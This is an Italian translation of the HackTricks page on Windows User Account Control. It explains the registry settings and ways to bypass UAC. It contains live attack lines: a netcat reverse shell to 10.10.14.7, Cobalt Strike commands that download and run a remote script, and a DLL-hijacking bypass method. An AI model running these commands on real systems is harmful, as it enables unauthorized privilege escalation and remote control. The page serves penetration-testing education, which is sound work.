hacktricks/windows-hardening/windows-security-controls/uac-user-account-control.md
2024-02-10 13:03:23 +00:00

21 KiB

UAC - Controllo dell'account utente

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks:

Usa Trickest per creare e automatizzare flussi di lavoro con gli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi stesso:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

UAC

User Account Control (UAC) è una funzionalità che consente una richiesta di consenso per attività elevate. Le applicazioni hanno diversi livelli di integrità e un programma con un livello elevato può eseguire attività che potenzialmente potrebbero compromettere il sistema. Quando UAC è abilitato, le applicazioni e le attività vengono sempre eseguite nel contesto di sicurezza di un account non amministratore, a meno che un amministratore autorizzi esplicitamente queste applicazioni/attività ad avere accesso di livello amministratore per eseguire il sistema. È una funzionalità di comodità che protegge gli amministratori da modifiche non intenzionali, ma non è considerata un confine di sicurezza.

Per ulteriori informazioni sui livelli di integrità:

{% content-ref url="../windows-local-privilege-escalation/integrity-levels.md" %} integrity-levels.md {% endcontent-ref %}

Quando UAC è in uso, a un utente amministratore vengono forniti 2 token: una chiave utente standard, per eseguire azioni regolari come livello normale, e una con i privilegi di amministratore.

Questa pagina discute in modo approfondito il funzionamento di UAC e include il processo di accesso, l'esperienza utente e l'architettura di UAC. Gli amministratori possono utilizzare le impostazioni di sicurezza per configurare il funzionamento di UAC specifico per la propria organizzazione a livello locale (utilizzando secpol.msc) o configurato e distribuito tramite oggetti di criteri di gruppo (GPO) in un ambiente di dominio Active Directory. Le varie impostazioni vengono discusse in dettaglio qui. Ci sono 10 impostazioni delle policy di gruppo che possono essere impostate per UAC. La tabella seguente fornisce ulteriori dettagli:

Impostazione delle policy di gruppo Chiave del Registro Impostazione predefinita
User Account Control: Modalità di approvazione dell'amministratore per l'account amministratore integrato FilterAdministratorToken Disabilitato
User Account Control: Consentire alle applicazioni UIAccess di richiedere l'elevazione senza utilizzare il desktop sicuro EnableUIADesktopToggle Disabilitato
User Account Control: Comportamento del prompt di elevazione per gli amministratori in modalità di approvazione dell'amministratore ConsentPromptBehaviorAdmin Richiedi il consenso per i binari non Windows
User Account Control: Comportamento del prompt di elevazione per gli utenti standard ConsentPromptBehaviorUser Richiedi le credenziali sul desktop sicuro
User Account Control: Rilevare l'installazione delle applicazioni e richiedere l'elevazione EnableInstallerDetection Abilitato (predefinito per home) Disabilitato (predefinito per le aziende)
User Account Control: Eleva solo eseguibili firmati e convalidati ValidateAdminCodeSignatures Disabilitato
User Account Control: Eleva solo applicazioni UIAccess installate in posizioni sicure EnableSecureUIAPaths Abilitato
User Account Control: Esegui tutti gli amministratori in modalità di approvazione dell'amministratore EnableLUA Abilitato
User Account Control: Passa al desktop sicuro durante il prompt di elevazione PromptOnSecureDesktop Abilitato
User Account Control: Virtualizza errori di scrittura di file e registro in posizioni specifiche per utente EnableVirtualization Abilitato

Teoria del Bypass di UAC

Alcuni programmi vengono autoelevati automaticamente se l'utente appartiene al gruppo degli amministratori. Questi file binari hanno all'interno dei loro Manifesti l'opzione autoElevate con valore True. Inoltre, il file binario deve essere firmato da Microsoft.

Quindi, per bypassare l'UAC (elevare dal livello di integrità medio a quello alto), alcuni attaccanti utilizzano questo tipo di file binari per eseguire codice arbitrario poiché verrà eseguito da un processo con un livello di integrità alto.

È possibile verificare il Manifesto di un file binario utilizzando lo strumento sigcheck.exe di Sysinternals. E puoi vedere il livello di integrità dei processi utilizzando Process Explorer o Process Monitor (di Sysinternals).

Verifica di UAC

Per confermare se UAC è abilitato, eseguire:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA    REG_DWORD    0x1

Se è 1, allora UAC è attivato, se è 0 o non esiste, allora UAC è inattivo.

Successivamente, controlla quale livello è configurato:

REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin

HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin    REG_DWORD    0x5
  • Se 0, allora UAC non richiederà conferma (come disabilitato)
  • Se 1, all'amministratore viene richiesto di inserire nome utente e password per eseguire il file binario con privilegi elevati (su Secure Desktop)
  • Se 2 (Sempre notificami), UAC chiederà sempre conferma all'amministratore quando cerca di eseguire qualcosa con privilegi elevati (su Secure Desktop)
  • Se 3, simile a 1 ma non necessario su Secure Desktop
  • Se 4, simile a 2 ma non necessario su Secure Desktop
  • Se 5 (predefinito), chiederà all'amministratore di confermare l'esecuzione di file binari non Windows con privilegi elevati

Successivamente, devi controllare il valore di LocalAccountTokenFilterPolicy
Se il valore è 0, solo l'utente con RID 500 (Amministratore integrato) può eseguire attività amministrative senza UAC, e se è 1, tutti gli account nel gruppo "Amministratori" possono farlo.

Infine, controlla il valore della chiave FilterAdministratorToken
Se 0 (predefinito), l'account Amministratore integrato può eseguire attività di amministrazione remota e se 1, l'account Amministratore integrato non può eseguire attività di amministrazione remota, a meno che LocalAccountTokenFilterPolicy sia impostato su 1.

Riassunto

  • Se EnableLUA=0 o non esiste, nessun UAC per nessuno
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=1, nessun UAC per nessuno
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=0 e FilterAdministratorToken=0, nessun UAC per RID 500 (Amministratore integrato)
  • Se EnableLua=1 e LocalAccountTokenFilterPolicy=0 e FilterAdministratorToken=1, UAC per tutti

Tutte queste informazioni possono essere ottenute utilizzando il modulo metasploit: post/windows/gather/win_privs

Puoi anche controllare i gruppi del tuo utente e ottenere il livello di integrità:

net user %username%
whoami /groups | findstr Level

Bypass di UAC

{% hint style="info" %} Nota che se hai accesso grafico alla vittima, il bypass di UAC è semplice poiché puoi semplicemente fare clic su "Sì" quando compare la finestra di dialogo di UAC. {% endhint %}

Il bypass di UAC è necessario nella seguente situazione: UAC è attivato, il tuo processo viene eseguito in un contesto di integrità media e il tuo utente appartiene al gruppo degli amministratori.

È importante menzionare che è molto più difficile bypassare UAC se è impostato al livello di sicurezza più alto (Always) rispetto agli altri livelli (Default).

UAC disabilitato

Se UAC è già disabilitato (ConsentPromptBehaviorAdmin è 0), puoi eseguire una shell inversa con privilegi di amministratore (livello di integrità elevato) utilizzando qualcosa del genere:

#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10.14.7 4444"

Bypass UAC con duplicazione del token

Molto semplice "bypass" UAC (accesso completo al file system)

Se hai una shell con un utente che fa parte del gruppo degli Amministratori, puoi montare la condivisione C$ tramite SMB (file system) localmente su un nuovo disco e avrai accesso a tutto il file system (anche alla cartella home dell'Amministratore).

{% hint style="warning" %} Sembra che questo trucco non funzioni più {% endhint %}

net use Z: \\127.0.0.1\c$
cd C$

#Or you could just access it:
dir \\127.0.0.1\c$\Users\Administrator\Desktop

Bypass di UAC con Cobalt Strike

Le tecniche di Cobalt Strike funzioneranno solo se UAC non è impostato al suo livello di sicurezza massimo.

# UAC bypass via token duplication
elevate uac-token-duplication [listener_name]
# UAC bypass via service
elevate svc-exe [listener_name]

# Bypass UAC with Token Duplication
runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"

Empire e Metasploit hanno anche diversi moduli per eludere l'UAC.

KRBUACBypass

Documentazione e strumento su https://github.com/wh0amitz/KRBUACBypass

Exploit di bypass UAC

UACME che è una compilazione di diversi exploit di bypass UAC. Nota che dovrai compilare UACME usando Visual Studio o MSBuild. La compilazione creerà diversi eseguibili (come Source\Akagi\outout\x64\Debug\Akagi.exe), dovrai sapere quale ti serve.
Dovresti fare attenzione perché alcuni bypass faranno apparire altri programmi che avviseranno l'utente che sta succedendo qualcosa.

UACME ha la versione di compilazione da cui ogni tecnica ha iniziato a funzionare. Puoi cercare una tecnica che influisce sulle tue versioni:

PS C:\> [environment]::OSVersion.Version

Major  Minor  Build  Revision
-----  -----  -----  --------
10     0      14393  0

Inoltre, utilizzando questa pagina, si ottiene il rilascio di Windows 1607 dalle versioni di build.

Ulteriori bypass di UAC

Tutte le tecniche utilizzate qui per bypassare UAC richiedono una shell interattiva completa con la vittima (una shell nc.exe comune non è sufficiente).

Puoi ottenere una sessione meterpreter. Migrare verso un processo che ha il valore Session uguale a 1:

(explorer.exe dovrebbe funzionare)

Bypass di UAC con GUI

Se hai accesso a una GUI, puoi semplicemente accettare la richiesta di UAC quando la ricevi, non hai davvero bisogno di un bypass. Quindi, ottenere l'accesso a una GUI ti permetterà di bypassare UAC.

Inoltre, se ottieni una sessione GUI che qualcuno stava usando (potenzialmente tramite RDP), ci sono alcuni strumenti che verranno eseguiti come amministratore da cui potresti eseguire ad esempio un cmd come amministratore direttamente senza essere nuovamente richiesto da UAC come https://github.com/oski02/UAC-GUI-Bypass-appverif. Questo potrebbe essere un po' più furtivo.

Bypass di UAC con forza bruta rumoroso

Se non ti importa di essere rumoroso, puoi sempre eseguire qualcosa come https://github.com/Chainski/ForceAdmin che chiede di elevare i permessi fino a quando l'utente non accetta.

Il tuo bypass - Metodologia di base per il bypass di UAC

Se dai un'occhiata a UACME, noterai che la maggior parte dei bypass di UAC sfrutta una vulnerabilità di Dll Hijacking (principalmente scrivendo la dll malevola su C:\Windows\System32). Leggi questo per imparare come trovare una vulnerabilità di Dll Hijacking.

  1. Trova un eseguibile che si autoeleva (verifica che quando viene eseguito funzioni con un livello di integrità elevato).
  2. Con procmon, trova gli eventi "NAME NOT FOUND" che possono essere vulnerabili al Dll Hijacking.
  3. Probabilmente dovrai scrivere la DLL all'interno di alcuni percorsi protetti (come C:\Windows\System32) in cui non hai i permessi di scrittura. Puoi bypassare questo utilizzando:
  4. wusa.exe: Windows 7, 8 e 8.1. Consente di estrarre il contenuto di un file CAB all'interno di percorsi protetti (perché questo strumento viene eseguito con un livello di integrità elevato).
  5. IFileOperation: Windows 10.
  6. Prepara uno script per copiare la tua DLL all'interno del percorso protetto ed eseguire l'eseguibile vulnerabile e autoelevato.

Un'altra tecnica di bypass di UAC

Consiste nel verificare se un eseguibile autoelevato cerca di leggere dal registro il nome/percorso di un eseguibile o comando da eseguire (questo è più interessante se l'eseguibile cerca queste informazioni all'interno di HKCU).

Utilizza Trickest per creare e automatizzare flussi di lavoro con gli strumenti della comunità più avanzati al mondo.
Ottieni l'accesso oggi stesso:

{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}

Impara l'hacking di AWS da zero a esperto con htARTE (HackTricks AWS Red Team Expert)!

Altri modi per supportare HackTricks: